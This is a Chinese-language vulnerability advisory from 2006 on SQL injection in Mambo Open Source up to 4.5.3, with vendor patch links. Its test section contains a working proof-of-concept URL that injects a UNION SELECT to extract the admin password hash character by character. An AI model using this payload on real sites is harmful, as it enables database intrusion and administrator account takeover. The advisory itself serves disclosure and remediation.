发布日期：2006-02-28
更新日期：2006-02-28

受影响系统：

Mambo Mambo Open Source <= 4.5.3

描述：

---

BUGTRAQ  ID: 16775

Mambo Open Source是一款开放源代码的WEB内容管理系统。

Mambo Open Source的实现上存在多个SQL注入漏洞，远程攻击者可能利用此漏洞非法操作数据库，获取管理员用户的认证信息从而控制内容发布系统。

Mambo Open Source软件包对其task及username参数数据没有做充分的过滤检查，远程攻击者可能在输入数据中插入恶意SQL命令串，可能利用此漏洞在获取管理员的口令。

<**>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://www.example.com/mambo/index2.php?option=com_content&task=-99'%20UNION%20SELECT%201%20FROM%20mos_users%20WHERE%20username='admin'%20AND%20MID(password,1,1)='2'/*&id=24&Itemid=0

建议：

---

厂商补丁：

Mambo
-----
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

Mambo Mambo Open Source 4.5.3
Mambo MamboV4.5.3h_SecurityPatch1.tar.gz
http://mamboxchange.com/frs/download.php/7370/MamboV4.5.3h_SecurityPatch1.tar.gz

Mambo Mambo Open Source 4.5.3
Mambo MamboV4.5.3_SecurityPatch1.tar.gz
http://mamboxchange.com/frs/download.php/7373/MamboV4.5.3_SecurityPatch1.tar.gz

浏览次数：3261
严重程度：0（网友投票）